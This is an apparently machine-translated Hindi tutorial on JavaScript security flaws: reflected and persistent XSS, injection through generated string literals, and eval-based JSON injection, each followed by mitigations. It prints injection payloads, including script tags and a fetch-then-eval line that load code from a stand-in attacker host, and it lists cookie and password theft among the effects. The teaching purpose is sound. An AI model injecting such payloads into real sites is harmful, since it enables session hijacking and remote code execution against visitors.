खोज…
परिचय
यह सामान्य जावास्क्रिप्ट सुरक्षा मुद्दों का एक संग्रह है, जैसे XSS और eval इंजेक्शन। इस संग्रह में इन सुरक्षा समस्याओं को कम करने का तरीका भी है।
परावर्तित क्रॉस-साइट स्क्रिप्टिंग (XSS)
मान लीजिए कि जो एक वेबसाइट का मालिक है, जो आपको लॉग ऑन करने, पिल्ला वीडियो देखने और उन्हें अपने खाते में सहेजने की अनुमति देता है।
जब भी कोई उपयोगकर्ता उस वेबसाइट पर खोज करता है, तो वे https://example.com/search?q=brown+puppies
पुनर्निर्देशित हो जाते हैं।
यदि उपयोगकर्ता की खोज कुछ भी मेल नहीं खाती है, तो वे एक संदेश देखते हैं:
आपकी खोज ( भूरे रंग के पिल्ले ), कुछ भी मेल नहीं खाते। पुनः प्रयास करें।
बैकएंड पर, वह संदेश इस तरह प्रदर्शित होता है:
if(!searchResults){
webPage += "<div>Your search (<b>" + searchQuery + "</b>), didn't match anything. Try again.";
}
हालाँकि, जब ऐलिस <h1>headings</h1>
खोजता है, तो उसे यह वापस मिल जाता है:
आपकी खोज (
शीर्षकों
) कुछ भी मेल नहीं खाता था। पुनः प्रयास करें।
कच्चा HTML:
Your search (<b><h1>headings</h1></b>) didn't match anything. Try again.
एलिस <script>alert(1)</script>
, वह देखती है:
आपकी खोज (), कुछ भी मेल नहीं खाती। पुनः प्रयास करें।
तथा:
ऐलिस के लिए <script src = "https://alice.evil/puppy_xss.js></script>really cute puppies
, और उसके एड्रेस बार में लिंक कॉपी करता है, और ईमेल बॉब से:
बॉब,
जब मैं प्यारे पिल्लों को खोजता हूं, तो कुछ नहीं होता है!
जबकि ऐलिस ने बॉब को अपनी स्क्रिप्ट चलाने के लिए पर्याप्त रूप से प्राप्त किया, जबकि बॉब उसके खाते में लॉग ऑन है।
शमन:
- खोज शब्द वापस करने से पहले खोजों में सभी कोण कोष्ठक से बच जाएं जब कोई परिणाम नहीं मिलता है।
- कोई परिणाम नहीं मिलने पर खोज शब्द वापस न करें।
- एक सामग्री सुरक्षा नीति जोड़ें जो अन्य डोमेन से सक्रिय सामग्री को लोड करने से मना करती है
लगातार क्रॉस-साइट स्क्रिप्टिंग (XSS)
मान लीजिए कि बॉब एक सामाजिक वेबसाइट का मालिक है, जो उपयोगकर्ताओं को अपनी प्रोफ़ाइल को निजीकृत करने की अनुमति देता है।
ऐलिस बॉब की वेबसाइट पर जाता है, एक खाता बनाता है, और उसकी प्रोफाइल सेटिंग्स पर जाता है। वह I'm actually too lazy to write something here.
उसका प्रोफ़ाइल विवरण सेट करती I'm actually too lazy to write something here.
जब उसके दोस्त उसकी प्रोफ़ाइल देखते हैं, तो यह कोड सर्वर पर चलता है:
if(viewedPerson.profile.description){
page += "<div>" + viewedPerson.profile.description + "</div>";
}else{
page += "<div>This person doesn't have a profile description.</div>";
}
इस HTML में परिणाम:
<div>I'm actually too lazy to write something here.</div>
थिस एलिस ने अपना प्रोफ़ाइल विवरण <b>I like HTML</b>
सेट किया। जब वह देखने के बजाय अपनी प्रोफ़ाइल पर जाती है
<b> मुझे HTML पसंद है </ b>
वह देखती है
मुझे HTML पसंद है
फिर ऐलिस उसे प्रोफ़ाइल सेट करती है
<script src = "https://alice.evil/profile_xss.js"></script>I'm actually too lazy to write something here.
जब भी कोई उसकी प्रोफाइल पर जाता है, तो वह ऐलिस स्क्रिप्ट को बॉब की वेबसाइट पर चलाता है, जबकि उनके खाते में लॉग ऑन किया जाता है।
शमन
- प्रोफ़ाइल विवरण आदि में कोण कोष्ठक से बच
- एक सादे पाठ फ़ाइल में प्रोफ़ाइल विवरण
.innerText
जो फिर एक स्क्रिप्ट के साथ लाया जाता है जो कि.innerText
माध्यम से विवरण जोड़ता है - एक सामग्री सुरक्षा नीति जोड़ें जो अन्य डोमेन से सक्रिय सामग्री को लोड करने से मना करती है
जावास्क्रिप्ट स्ट्रिंग शाब्दिक से लगातार क्रॉस-साइट स्क्रिप्टिंग
मान लीजिए कि बॉब एक ऐसी साइट का मालिक है जो आपको सार्वजनिक संदेश पोस्ट करने देता है।
संदेशों को इस तरह दिखने वाली स्क्रिप्ट द्वारा लोड किया जाता है:
addMessage("Message 1");
addMessage("Message 2");
addMessage("Message 3");
addMessage("Message 4");
addMessage("Message 5");
addMessage("Message 6");
addMessage
फ़ंक्शन DOM पर पोस्ट किया गया संदेश जोड़ता है। हालाँकि, XSS से बचने के प्रयास में, पोस्ट किए गए संदेशों में कोई भी HTML बच जाता है।
स्क्रिप्ट इस तरह सर्वर पर उत्पन्न होती है :
for(var i = 0; i < messages.length; i++){
script += "addMessage(\"" + messages[i] + "\");";
}
इसलिए ऐलिस एक संदेश पोस्ट करता है जो कहता है: My mom said: "Life is good. Pie makes it better. "
जब वह संदेश का पूर्वावलोकन करती है, तो उसके संदेश को देखने के बजाय, उसे कंसोल में कोई त्रुटि दिखाई देती है:
Uncaught SyntaxError: missing ) after argument list
क्यों? क्योंकि उत्पन्न स्क्रिप्ट इस तरह दिखता है:
addMessage("My mom said: "Life is good. Pie makes it better. "");
यह एक सिंटैक्स त्रुटि है। ऐलिस पोस्ट की तुलना में:
I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//
तब उत्पन्न स्क्रिप्ट इस तरह दिखाई देती है:
addMessage("I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//");
यह संदेश I like pie
, लेकिन यह भी डाउनलोड करता है और https://alice.evil/js_xss.js
चलाता है जब भी कोई बॉब की साइट पर जाता है।
शमन:
- संदेश JSON.stringify () में पोस्ट करें
- स्क्रिप्ट का निर्माण करने के बजाय, एक सादा पाठ फ़ाइल बनाएँ जिसमें सभी संदेश हों जो बाद में स्क्रिप्ट द्वारा लाए गए हों
- एक सामग्री सुरक्षा नीति जोड़ें जो अन्य डोमेन से सक्रिय सामग्री को लोड करने से मना करती है
क्यों अन्य लोगों की स्क्रिप्ट आपकी वेबसाइट और उसके आगंतुकों को नुकसान पहुंचा सकती है
यदि आपको नहीं लगता कि दुर्भावनापूर्ण स्क्रिप्ट आपकी साइट को नुकसान पहुंचा सकती हैं , तो आप गलत हैं । यहाँ एक दुर्भावनापूर्ण स्क्रिप्ट क्या कर सकती है की एक सूची है:
- DOM से खुद को निकालें ताकि इसे ट्रेस न किया जा सके
- उपयोगकर्ताओं के सत्र कुकीज़ चोरी करें और स्क्रिप्ट लेखक को लॉग इन करने और उन्हें प्रतिरूपित करने में सक्षम करें
- एक नकली दिखाएं "आपका सत्र समाप्त हो गया है। कृपया फिर से लॉग इन करें।" संदेश जो उपयोगकर्ता के पासवर्ड को स्क्रिप्ट लेखक को भेजता है ।
- एक दुर्भावनापूर्ण सेवा कार्यकर्ता को पंजीकृत करें जो उस वेबसाइट पर हर पृष्ठ पर एक दुर्भावनापूर्ण स्क्रिप्ट चलाता है।
- एक नकली पेवैल की मांग करें कि उपयोगकर्ता साइट पर पहुंचने के लिए पैसे का भुगतान करते हैं जो वास्तव में स्क्रिप्ट लेखक के पास जाता है ।
कृपया, यह न सोचें कि XSS आपकी वेबसाइट और उसके आगंतुकों को नुकसान नहीं पहुंचाएगा।
बेदखल JSON इंजेक्शन
मान लीजिए कि बॉब की वेबसाइट में जब भी कोई प्रोफ़ाइल पृष्ठ पर जाता है, तो निम्न URL प्राप्त होता है:
https://example.com/api/users/1234/profiledata.json
इस तरह की प्रतिक्रिया के साथ:
{
"name": "Bob",
"description": "Likes pie & security holes."
}
उस डेटा को पार्स और डाला गया है:
var data = eval("(" + resp + ")");
document.getElementById("#name").innerText = data.name;
document.getElementById("#description").innerText = data.description;
अच्छा लगता है, है ना? गलत।
क्या होगा अगर किसी का वर्णन Likes XSS."});alert(1);({"name":"Alice","description":"Likes XSS.
{
"name": "Alice",
"description": "Likes pie & security holes."});alert(1);({"name":"Alice","description":"Likes XSS."
}
और यह eval
ed होगा:
({
"name": "Alice",
"description": "Likes pie & security holes."});alert(1);({"name":"Alice","description":"Likes XSS."
})
यदि आपको नहीं लगता कि यह समस्या है, तो अपने कंसोल में पेस्ट करें और देखें कि क्या होता है।
Mitagation
JSON प्राप्त करने के लिए eval के बजाय JSON.parse का उपयोग करें। सामान्य तौर पर, eval का उपयोग न करें, और निश्चित रूप से eval का उपयोग किसी ऐसी चीज़ से न करें, जिसे कोई उपयोगकर्ता नियंत्रित कर सकता है। Eval एक नया निष्पादन संदर्भ बनाता है , एक प्रदर्शन हिट बनाता है ।
ठीक तरह से बच
"
और\
JSON में यह डालने से पहले उपयोगकर्ता डेटा में आप सिर्फ बच सकते हैं।"
, की तुलना में इस होगा:Hello! \"});alert(1);({
में परिवर्तित किया जाएगा:
"Hello! \\"});alert(1);({"
उफ़। याद रखें कि
\
और"
दोनों से बच जाएं, या सिर्फ JSON.parse का उपयोग करें।